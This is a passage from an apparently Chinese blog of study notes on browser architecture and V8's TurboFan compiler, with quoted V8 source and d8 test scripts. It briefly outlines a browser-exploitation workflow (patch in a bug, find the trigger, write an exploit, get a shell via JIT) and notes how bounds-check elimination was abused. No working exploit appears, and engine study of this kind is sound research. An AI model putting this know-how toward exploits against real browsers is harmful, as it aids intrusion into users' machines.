浏览器基础

浏览器基础

主要根据keenan师傅的博客进行学习

web浏览器结构

现代浏览器的结构基本如下(参考web-browser-architecture)

  1. The User Interface(用户接口):提供用户和浏览器引擎的交互方法,比如地址栏,前进、后退按钮,书签等。除了你看到的请求页面外,浏览器前端展示出的部分都属于它
  2. The Browser Engine(浏览器引擎):封装UI和渲染引擎的操作。它为渲染引擎提供顶层接口。浏览器引擎提供方法来加载一个URL和其他顶层的浏览器动作(reload/back/forward)。浏览器引擎还提供给用户许多同错误信息和加载进程相关的信息。
  3. The Rendering Engine(渲染引擎):它生成指定URL的可视化表示。渲染引擎解释包含指定URL的HTML,XML以及Javascript。其中的一个核心组件是HTML解析器,它很复杂因为它允许渲染引擎展示出一个简陋的HTML页面。不同的浏览器使用不同的渲染引擎。

  1. The Networking(网络组件):提供方法使用通用的互联网协议如HTTP和FTP处理检索URL。网络组件处理所有方面的网络通信和安全,字符集翻译和MIME类型解析。网络组件为了最小化网络流量可能会实现一个cache保存检索过的文档。
  2. The JavaScript Interpreter(JS解释器):执行web页面上嵌入的js代码。执行结果被传回到渲染引擎进行展示。渲染引擎或许会禁用许多包含用户定义属性的动作。
  3. The UI Backend(UI后端):用于绘出基本的小部件,如组合框和窗口;在底层它使用操作系统用户接口方法。
  4. The Data Storage(数据存储):管理用户数据比如书签,cookie,设置偏好等。HTML5定义了web database,它是浏览器中的一个完整数据库。

常见浏览器的结构

firefox:

chrome:

这里的Webkit应该是Blink和V8

keenan师傅的博客找到了一张更为详细的图,关于组件如何工作可以看这里

IE:

漏洞利用的学习方法

  1. 通过patch的方法引入漏洞
  2. 学习已有的CVE,在两次commit之间找到漏洞点,可能有PoC

步骤:

  1. 通过patch和commit hash编译
  2. 通过patch找到漏洞位置
  3. 定位漏洞调用链,找到触发方法。可以用工具ag来定位ag
  4. 编写exp
  5. getshell.一般通过JIT.

V8

v8是chrome里的js引擎,负责执行js代码。

编译器流程

v8编译器的整体流程如下,输入的js代码通过Parser解析得到AST(抽象语法树),AST再生成字节码,字节码经过优化转换成汇编码。

编译器历史

参考google的docTurboFan: A new code generation architecture for V8以及An overview of the TurboFan compiler

2008初代的编译器很简单,语法树半优化后直接产生汇编码(JIT)

2010年,用于优化hot-code的Crankshaft被引入。关于Crankshaft可以参考A New Crankshaft for V8,它显著提升了计算密集型的js应用的性能(甚至可达2倍以上)。这个组件的想法是优化经常执行的代码,对于不常运行的代码则不进行优化。

Crankshaft有四个基本组件:

  1. 一个base compiler用于所有的代码初始化。它产生代码时不会进行过度优化。
  2. 一个runtime profiler,监控运行系统,识别出hot code
  3. 一个optimizing compiler,重新编译hot code。

2014年引入了TurboFan来取代古老的Crankshaft。使用轻量化的汇编器的原因是:1. 解释字节码 2. code stubs和builtin处理 3. asm.js和wasm的处理。

这里先插入一下codestubAssembler的概念,传统的js的builtins是使用不同的汇编进行编写的,这样在不同架构下使用的时候性能表现很好(因为针对不同的架构可以使用不同的汇编优化),但是这样也使得每次写入一个新的Builtin都得适配不同的架构。

codestub的目标就是实现人工编码的性能而不需要适配每种架构。一个轻量的汇编语言在Turbofan的顶端被构建出来,这个API可以产生Turbofan的机器级别的IR,从而被Turbofan使用来对所有平台产生性能较好的机器码。

注意CSA是一个C++的用于产生IR的API,这些IR之后会被编译为机器码到指定架构使用。

再插播一下wasm,之前只是简单知道是类似汇编的语言,详情参考这篇文章WebAssembly简介。wasm是在浏览器中运行的原生代码,汇编语言经过汇编器的翻译可以得到机器码,不同的架构使用不同的汇编和机器码。而wasm并不完全是一种汇编语言,而是一个编译中间层,其可以和js相互调用,可以通过c/c++/rust等编译得到,同一份代码可以在不同架构上被翻译为不同的机器码运行,其具有良好的移植性。

Turbofan的结构如下,其中很多结构不清楚,inliner猜测是inline caching,lowerings猜测是Simplified lowering,我们先看后者。

参考V8-TurboFan编译器引擎介绍,simplified lowering是优化边界检查使用的。其实现了TurboFan Redundant Bounds and Overflow Check Elimination中的想法,通常来说我们在对JS Object进行边界检查的时候会挨个检查indexlength的关系,以确保我们只能访问到backing store的数据。假如说idx的范围是[0,length-1],在我们检查arr[i+2]发现并没有越界的情况下,arr[i]和arr[i+1]就没有必要再做越界检查。正是基于这样一个想法,在边界检查时进行了边界检查的消除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
} else {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback()));
}
}
// [...]
}

inline caching顾名思义是使用缓存的方式进行优化,以下面一个直观的代码为例,我们定义一个printUserName函数,定义一个对象,之后将其作为参数传进函数中进行调用,当我们连续多次调用同一个参数相同的函数,编译器就将我们的调用函数内联为实际调用的结果,这样就不必每次做编译。

Hidden classes是v8进行对象属性位置查找的一种方式。js作为一种动态语言其对象的性质和静态语言相差很大。我们知道Js的属性可以在实例化之后添加或者删除,比如下面的代码中year这个属性是在我们实例化之后才添加进去的,这样就导致对象寻址变得非常困难。js使用Hash Funtion的方式管理对象属性值在内存中的位置。对于像java这样的静态语言,对象的属性对应类的属性,并不能动态增加和删除(只能通过继承的方式编写子类),java对象的属性值内存布局相对固定,详情可以参考What do Java objects look like in memory during run-time?。通过哈希表查询的方式使得js的属性查询速度非常慢,因此v8引入了Hidden classes

1
2
3
4
5
6
var car = funtcion(make, model){
this.make = make;
this.model = model;
}
var myCar = new car(honda,accord);
myCar.year = year; //dynamicly added

Hidden classes和使用固定对象属性偏移的Java有点像,只不过这个偏移是在runtime生成的。v8为每一个obj都attach了hiddent classes用于优化属性访问。

这里我们举个栗子。

1
2
3
4
5
6
function Point(x,y) {
this.x = x;
this.y = y;
}

var obj = new Point(1,2);

当新函数Point声明之后(不包括里面属性的赋值),v8就会创建一个hidden class C0,这个函数对象的类指针指向C0.

当函数中的第一行this.x=x执行之后,会产生新的hidden class C1,在C1中,offset为0的位置即属性x存储的位置,Point对象也由原来的指向C0变为指向C1。这个过程被称为class transition.这种hidden class可以被使用同样方式创建的对象所共享。如果两个对象共享同样的hidden class并被加入了相同的属性,那么transition保证它们会转换成相同的新的hidden class,并得到相同的优化代码。

同样的过程也会发生在this.y=y的执行过程中。

hidden class的生成依赖于属性attach到对象的顺序,参看下面的例子.

1
2
3
4
5
6
7
8
9
10
function Point(x,y) {
this.x = x;
this.y = y;
}
var obj1 = new Point(1,2);
var obj2 = new Point(3,4);
obj1.a = 5;
obj1.b = 10;
obj2.b = 10;
obj2.a = 5;

一直到obj1.a=5前,obj1和obj2都一直共享相同的hidden class。在赋值之后二者transition的结果发生了变化。在此基础上,我们再来研究一下inline caching看共享hidden class的意义。

当一个obj中的方法被调用时,v8都需要通过Hidden class查询的方式确定访问特定属性的偏移,如果连续两次对同一个hidden class的方法调用成功,那么属性的偏移就直接加入到了class pointer上,之后的访问就会假设hidden class没有发生改变,直接从上一次查询的结果中获取偏移,这样提高了代码的执行速度。这也是为什么相同类型的obj共享hidden class是如此重要。如果他们属性相同但是Hidden class不同,那么v8就无法对这两个对象做inline cache,属性的偏移在class中是不同的。

当这种假设出错,v8就会de-optimize,然后回退到之前hidden class检查过的版本。参考DLS Keynote: Ignition: Jump-starting an Interpreter for V8 的内容可以看到所谓的hidden class应当是以map的形式标识的.

上面这篇文章提到了deoptimization,用于优化过程中一些假设判断失误进行回退,那么我们秉持着哪里不会查哪里的原则看下v8是如何进行优化和反优化的。

google sildes的这篇文章介绍了v8的去优化Deoptimization in V8。v8通常是对见到的cases进行优化,past cases通过typer feedback vector进行记录。优化过的代码通过feedback动态验证猜想。假如动态检查失败,去优化器反优化代码:

  1. 抛弃优化过的代码
  2. 在优化过的栈和寄存器中创建解释器frame
  3. 跳转到Interpreter

具体地:

  1. 将当前栈帧和HW寄存器文件读到缓冲区中
  2. 构造Interpreter frame,使用优化过的栈帧和寄存器
    2.1 使用编译器提供的信息
    2.2 这些信息包括:要恢复的共享函数和字节码的偏移量、硬件寄存器/栈slots中的参数位置、解释器中的寄存器/栈slot的位置、内联的frame
    2.3 Materializes通过转义分析编译掉的对象
    2.4 跳到解释器没有被patch的地方

Turbofan中的去优化分为eagerlazy两部分。

对于eager deoptimization:在每个潜在的去优化节点前插入checkpoint node到影响链中,基本上是在处理每个字节码之前
对于lazy deoptimization:Attach去优化的状态到每个潜在的调用节点。
在构建图时假如存在许多去优化相关的节点,我们就复用之前frame状态,将状态以树的形式表示出来。

到这里Turbofan的基本组件就比较清晰了。

2016引入了生产中间语言的Ignition

关于Ignition,可以阅读Ignition: An Interpreter for V8 [BlinkOn]

v8的三大编译器存在着复杂的依赖关系,因此引入了Ignition这个js的字节码解释器。

引入之后的pipline如下

Ignition的字节码表如下

17年之后就移除了Crankshaft和Full-codegen。

TurboFan

最后重点介绍一下TurboFan

Sea of Nodes

TurboFan在一个叫做sea of nodes的程序上运行。Nodes可以表示算数运算,load、store、calls和常量等。一共有三种edge:control edges、value edges、effect edges。

control edge和CFG中看到的一样,它们用于分支和循环。

value edges是在Data Flow Graph中的边,它们表示数据的依赖关系。

effect edges标识出读写的状态。以obj[x] = obj[x] + 1为例,其effect chain如下图所示.整个chain为load->add->store

对于想要详细了解的同学,可以参考TurboFan JIT Design

之前在Ubuntu 20.04搭了v8的环境,我们也可以动手看下sea of nodes。由于我用的是最新版本的v8,所以这里似乎已经没有了CheckBounds的消除,原本是参考introduction-to-turbofan进行实验,现在还是依自己得到的结果为准Moon师傅下午指点了一下俺,终于明白为什么我的图和博客中的不一样了,下面的代码增加了一行%PrepareFunctionForOptimization(opt_me);,是为obj的feedback做初始化,之后的两次函数调用使得feedback填入了值,从而在%OptimizeFunctionOnNextCall(opt_me)调用时做了包含有feedback的优化。

编写如下js代码进行实验,./d8 1.js --allow-natives-syntax --trace-turbo得到turbo json文件,使用python -m SimpleHTTPServer启动一个服务器,访问本地的8000端口即可查看sea of nodes。

1
2
3
4
5
6
7
8
9
10
function opt_me() {
let x = Math.random();
let y = x + 2;
return y + 3;
}
%PrepareFunctionForOptimization(opt_me);
opt_me();
opt_me();
%OptimizeFunctionOnNextCall(opt_me);
opt_me();

Optimization phase

第一个图为BytecodeGraphBuilder,每个阶段后面的编号表示生成的顺序,这个阶段是将js代码翻译为字节码,生成基本的IR图,可以看到最后return前调用SpeculativeNumberAdd来对变量进行加和。

第二个为Inlining,将一些代码内联到调用函数处

接下来是一个比较重要的阶段Typer phase,在这个阶段会尽可能地推断出节点的类型,这部分的优化代码在OptimizeGraph

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct TyperPhase {
DECL_PIPELINE_PHASE_CONSTANTS(Typer)

void Run(PipelineData* data, Zone* temp_zone, Typer* typer) {
NodeVector roots(temp_zone);
data->jsgraph()->GetCachedNodes(&roots);

// Make sure we always type True and False. Needed for escape analysis.
roots.push_back(data->jsgraph()->TrueConstant());
roots.push_back(data->jsgraph()->FalseConstant());

LoopVariableOptimizer induction_vars(data->jsgraph()->graph(),
data->common(), temp_zone);
if (FLAG_turbo_loop_variable) induction_vars.Run();

// The typer inspects heap objects, so we need to unpark the local heap.
UnparkedScopeIfNeeded scope(data->broker());
typer->Run(roots, &induction_vars); //here typer->run
}
};

bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
PipelineData* data = this->data_;

data->BeginPhaseKind("V8.TFLowering");

// Type the graph and keep the Typer running such that new nodes get
// automatically typed when they are created.
Run<TyperPhase>(data->CreateTyper());
RunPrintAndVerify(TyperPhase::phase_name());
//..
}

typer.cc中找到对应的函数,会发现它将遍历图上的所有节点,试图优化掉它们。例如在这里当我们的visitor访问到一个JSCall节点之后会调用JSCallTyper,每一个调用的builtin函数都关联了一个Typer,我们的测试代码使用了Math.random,在这里被优化为了PlainNumber这个type。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void Typer::Run(const NodeVector& roots,
LoopVariableOptimizer* induction_vars) {
if (induction_vars != nullptr) {
induction_vars->ChangeToInductionVariablePhis();
}
Visitor visitor(this, induction_vars);
GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker());
graph_reducer.AddReducer(&visitor);
for (Node* const root : roots) graph_reducer.ReduceNode(root);
graph_reducer.ReduceGraph();

if (induction_vars != nullptr) {
// Validate the types computed by TypeInductionVariablePhi.
for (auto entry : induction_vars->induction_variables()) {
InductionVariable* induction_var = entry.second;
if (induction_var->phi()->opcode() == IrOpcode::kInductionVariablePhi) {
CHECK(visitor.InductionVariablePhiTypeIsPrefixedPoint(induction_var));
}
}

induction_vars->ChangeToPhisAndInsertGuards();
}
}
//
class Typer::Visitor : public Reducer {
public:
explicit Visitor(Typer* typer, LoopVariableOptimizer* induction_vars)
: typer_(typer),
induction_vars_(induction_vars),
weakened_nodes_(typer->zone()) {}

const char* reducer_name() const override { return "Typer"; }

Reduction Reduce(Node* node) override {
if (node->op()->ValueOutputCount() == 0) return NoChange();
return UpdateType(node, TypeNode(node));
}
//call visitor such as JSCallTyper
}
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
return Type::NonInternal();
}
JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
if (!function.serialized()) {
TRACE_BROKER_MISSING(t->broker(), "data for function " << function);
return Type::NonInternal();
}
if (!function.shared().HasBuiltinId()) {
return Type::NonInternal();
}
switch (function.shared().builtin_id()) {
case Builtins::kMathRandom:
return Type::PlainNumber();
//...
}
}

对于TypeNumberConstant类型的节点来说,大部分时候得到的类型都是一个Range

1
2
3
4
5
6
7
8
9
10
11
12
Type Typer::Visitor::TypeNumberConstant(Node* node) {
double number = OpParameter<double>(node->op());
return Type::Constant(number, zone());
}
Type Type::Constant(double value, Zone* zone) {
if (RangeType::IsInteger(value)) {
return Range(value, value, zone);
} else if (IsMinusZero(value)) {
return Type::MinusZero();
} else if (std::isnan(value)) {
return Type::NaN();
}

继续来看SpeculativeNumberAdd的节点类型处理,它属于OperationTyper,最终通过Name调用了OperationTyper::NumberAdd(Type lhs, Type rhs),它首先对lhs(left hand side)和rhs(right hand side)两个节点调用SpeculativeToNumber赋值,之后调用NumberAdd进行加和,在这个函数中会对参数类型进行判断,大多数情况下返回PlainNumber类型。

总结一下,我们第一个图中的JSCall(MathRandom)最终会被推断为PlainNumberNumberConstant[n]n != -0 & n != NaN的会被推断为Range(n,n),而range(n,n)又会被推断为PlainNumberSpeculativeNumberAdd(PlainNumber, PlainNumber)会被推断为PlainNumber

1
2
3
4
5
6
7
8
9
10
11
12
//operation-typer.cc

#define SPECULATIVE_NUMBER_BINOP(Name) \
Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \
lhs = SpeculativeToNumber(lhs); \
rhs = SpeculativeToNumber(rhs); \
return Name(lhs, rhs); \
}

Type OperationTyper::SpeculativeToNumber(Type type) {
return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));
}

经过这个阶段之后,图变成了下面这样(注意这里并没有如上文分析的推断结果)

Typer Lowering就在typer phase的后面,这里做了更多的节点消除。我们来看下TypedOptimization以及TypedOptimization::Reduce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
PipelineData* data = this->data_;

data->BeginPhaseKind("V8.TFLowering");

// Type the graph and keep the Typer running such that new nodes get
// automatically typed when they are created.
Run<TyperPhase>(data->CreateTyper());
RunPrintAndVerify(TyperPhase::phase_name());

Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase::phase_name());
}
//
struct TypedLoweringPhase {
DECL_PIPELINE_PHASE_CONSTANTS(TypedLowering)

void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(
temp_zone, data->graph(), &data->info()->tick_counter(), data->broker(),
data->jsgraph()->Dead(), data->observe_node_manager());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker(),
temp_zone);
JSTypedLowering typed_lowering(&graph_reducer, data->jsgraph(),
data->broker(), temp_zone);
ConstantFoldingReducer constant_folding_reducer(
&graph_reducer, data->jsgraph(), data->broker());
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
SimplifiedOperatorReducer simple_reducer(&graph_reducer, data->jsgraph(),
data->broker());
CheckpointElimination checkpoint_elimination(&graph_reducer);
CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
data->broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);

AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_lowering);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);

// ConstantFoldingReducer, JSCreateLowering, JSTypedLowering, and
// TypedOptimization access the heap.
UnparkedScopeIfNeeded scope(data->broker());

graph_reducer.ReduceGraph();
}
};

当一个节点已经被访问过,且opcode为IrOpcode::kSpeculativeNumberAdd,则调用ReduceSpeculativeNumberAdd(node).在这个函数中首先取节点的hint属性,我们的lhsrhs都是PlainNumber,都有NumberOperationHint::kNumber的hint属性,因此最终执行replace将原本的kSpeculativeNumberAdd节点替换为了NumberAdd节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Reduction TypedOptimization::Reduce(Node* node) {
DisallowHeapAccessIf no_heap_access(!FLAG_turbo_direct_heap_access);
switch (node->opcode()) {
//..
case IrOpcode::kSpeculativeNumberAdd:
return ReduceSpeculativeNumberAdd(node);
//..
}
return NoChange();
}
//
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNumber(y))
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}

此阶段后的图如下。

对于JSCall节点,JSTypedLowering::ReduceJSCall函数最终创建了LoadField节点并将JSCall的opcode转换为Call的opcode(注意这里的node没有变化,只是opcode发生了变化)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Reduction JSTypedLowering::ReduceJSCall(Node* node) {
//...

// Load the context from the {target}.
Node* context = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSFunctionContext()), target,
effect, control);
NodeProperties::ReplaceContextInput(node, context);

// Update the effect dependency for the {node}.
NodeProperties::ReplaceEffectInput(node, effect);

// Compute flags for the call.
CallDescriptor::Flags flags = CallDescriptor::kNeedsFrameState;
Node* new_target = jsgraph()->UndefinedConstant();

int formal_count = shared->internal_formal_parameter_count();
if (formal_count != kDontAdaptArgumentsSentinel && formal_count > arity) {
node->RemoveInput(n.FeedbackVectorIndex());
// Underapplication. Massage the arguments to match the expected number of
// arguments.
for (int i = arity; i < formal_count; i++) {
node->InsertInput(graph()->zone(), arity + 2,
jsgraph()->UndefinedConstant());
}

// Patch {node} to a direct call.
node->InsertInput(graph()->zone(), formal_count + 2, new_target);
node->InsertInput(graph()->zone(), formal_count + 3,
jsgraph()->Constant(arity));
NodeProperties::ChangeOp(node,
common()->Call(Linkage::GetJSCallDescriptor(
graph()->zone(), false, 1 + formal_count,
flags | CallDescriptor::kCanUseRoots)));
} else if (shared->HasBuiltinId() &&
Builtins::IsCpp(shared->builtin_id())) {
// Patch {node} to a direct CEntry call.
ReduceBuiltin(jsgraph(), node, shared->builtin_id(), arity, flags);
} else if (shared->HasBuiltinId()) {
DCHECK(Builtins::HasJSLinkage(shared->builtin_id()));
// Patch {node} to a direct code object call.
Callable callable = Builtins::CallableFor(
isolate(), static_cast<Builtins::Name>(shared->builtin_id()));
CallDescriptor::Flags flags = CallDescriptor::kNeedsFrameState;

const CallInterfaceDescriptor& descriptor = callable.descriptor();
auto call_descriptor = Linkage::GetStubCallDescriptor(
graph()->zone(), descriptor, 1 + arity, flags);
Node* stub_code = jsgraph()->HeapConstant(callable.code());
node->RemoveInput(n.FeedbackVectorIndex());
node->InsertInput(graph()->zone(), 0, stub_code); // Code object.
node->InsertInput(graph()->zone(), 2, new_target);
node->InsertInput(graph()->zone(), 3, jsgraph()->Constant(arity));
NodeProperties::ChangeOp(node, common()->Call(call_descriptor));
} else {
// Patch {node} to a direct call.
node->RemoveInput(n.FeedbackVectorIndex());
node->InsertInput(graph()->zone(), arity + 2, new_target);
node->InsertInput(graph()->zone(), arity + 3, jsgraph()->Constant(arity));
NodeProperties::ChangeOp(node,
common()->Call(Linkage::GetJSCallDescriptor(
graph()->zone(), false, 1 + arity,
flags | CallDescriptor::kCanUseRoots)));
}
return Changed(node);
}

Range types

考虑下面的例子,根据SSA(IR的一种规范,可以参考LLVM SSA 介绍)。当b=="foo"时,x=5,否则x=10,因为在SSA里只能单变量赋值,因此这里我们引入了x0和x1,并使用Phi函数进行取值。

当对phi的返回值进行类型推断时,我们可以看到x2要么为5要么为10,那么x2很明显是一个(5,10)union。我们做个符合SSA形式的流程图。看下v8里对这个节点进行推断的代码。

1
2
3
4
5
6
7
8
9
10
function opt_me(b) {
let x = 10; // [1] x0 = 10
if (b == "foo")
x = 5; // [2] x1 = 5
// [3] x2 = phi(x0, x1)
let y = x + 2;
y = y + 1000;
y = y * 2;
return y;
}

这里的代码和我们想法相同,对可能的取值取union。

1
2
3
4
5
6
7
8
Type Typer::Visitor::TypePhi(Node* node) {
int arity = node->op()->ValueInputCount();
Type type = Operand(node, 0);
for (int i = 1; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}

后面我本地的图生成的和博客不同,因此以博客的为准,我又知道为什么不一样了,我们需要点下toggle types这个Button,才能在Node里显示出判断的range范围,这里以我之后的例子做个图,下下图为博客里的图。

在源码中没有找到SpeculativeNumberAdd函数,目测是个opcde,在SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST表中已经定义好了函数地址,通过table[idx]的方式直接调用。而根据作者的说法,最终会调用到NumberAdd,或许Speculativexxyyzz就会调用xxyyzz?这里不太明白Mark一下.AddRanger函数为Range标明了范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) {
Type result = SpeculativeNumberAdd(lhs, rhs);
// If we have a Smi or Int32 feedback, the representation selection will
// either truncate or it will check the inputs (i.e., deopt if not int32).
// In either case the result will be in the safe integer range, so we
// can bake in the type here. This needs to be in sync with
// SimplifiedLowering::VisitSpeculativeAdditiveOp.
return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone());
}
//
Type OperationTyper::NumberAdd(Type lhs, Type rhs) {
//...

// We can give more precise types for integers.
Type type = Type::None();
lhs = Type::Intersect(lhs, Type::PlainNumber(), zone());
rhs = Type::Intersect(rhs, Type::PlainNumber(), zone());
if (!lhs.IsNone() && !rhs.IsNone()) {
if (lhs.Is(cache_->kInteger) && rhs.Is(cache_->kInteger)) {
type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max());
} else {
if ((lhs.Maybe(minus_infinity_) && rhs.Maybe(infinity_)) ||
(rhs.Maybe(minus_infinity_) && lhs.Maybe(infinity_))) {
maybe_nan = true;
}
type = Type::PlainNumber();
}
}

// Take into account the -0 and NaN information computed earlier.
// ...
return type;
}
Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min,
double rhs_max) {
double results[4];
results[0] = lhs_min + rhs_min;
results[1] = lhs_min + rhs_max;
results[2] = lhs_max + rhs_min;
results[3] = lhs_max + rhs_max;
// Since none of the inputs can be -0, the result cannot be -0 either.
// However, it can be nan (the sum of two infinities of opposite sign).
// On the other hand, if none of the "results" above is nan, then the
// actual result cannot be nan either.
int nans = 0;
for (int i = 0; i < 4; ++i) {
if (std::isnan(results[i])) ++nans;
}
if (nans == 4) return Type::NaN();
Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone());
if (nans > 0) type = Type::Union(type, Type::NaN(), zone());
// Examples:
// [-inf, -inf] + [+inf, +inf] = NaN
// [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN
// [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN
// [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN
return type;
}

CheckBounds nodes

考虑如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function opt_me(b) {
let values = [42,1337]; // HeapConstant <FixedArray[2]>
let x = 10; // NumberConstant[10] | Range(10,10)
if (b == "foo")
x = 5; // NumberConstant[5] | Range(5,5)
// Phi | Range(5,10)
let y = x + 2; // SpeculativeSafeIntegerAdd | Range(7,12)
y = y + 1000; // SpeculativeSafeIntegerAdd | Range(1007,1012)
y = y * 2; // SpeculativeNumberMultiply | Range(2014,2024)
y = y & 10; // SpeculativeNumberBitwiseAnd | Range(0,10)
y = y / 3; // SpeculativeNumberDivide | PlainNumber[r][s][t]
y = y & 1; // SpeculativeNumberBitwiseAnd | Range(0,1)
return values[y]; // CheckBounds | Range(0,1)
}
%PrepareFunctionForOptimization(opt_me);
opt_me();
%OptimizeFunctionOnNextCall(opt_me);
opt_me();
opt_me();

最后我们对values[y]取值时需要检查y的范围以保证不会越界读写,因此在IR图中增加了一个CheckBounds节点.仔细观察的话可以发现其取值为(0,1)LoadElement的一个输入是类型为FixedArray[2]HeapConstant,这就引出了我们的最后一部分Simplified lowering

Simplified lowering

这部分博客和本地的代码无法对应,因为最新的v8去掉了CheckBounds elimination,后面会分析一些与之相关经典的漏洞介绍为什么这个机制这么容易被利用。这里我们学习一下之前版本这里的设计。当我们发现index范围满足[0,index_max] && index_max < length_min时,我们可以对这个节点进行消除。之前设置的参数v8_untrusted_code_mitigations主要用于lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoiso条件的判定,具体原因可以参看浅析 V8-turboFan(上),主要代码是下面FLAG的赋值。默认配置导致我们无法得到正确的load_poisoning,从而无法启动checkBounds的优化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
} else {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback()));
}
}
// [...]
}
PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(
Isolate* isolate) {
// ...
// Compute and set poisoning level.
PoisoningMitigationLevel load_poisoning =
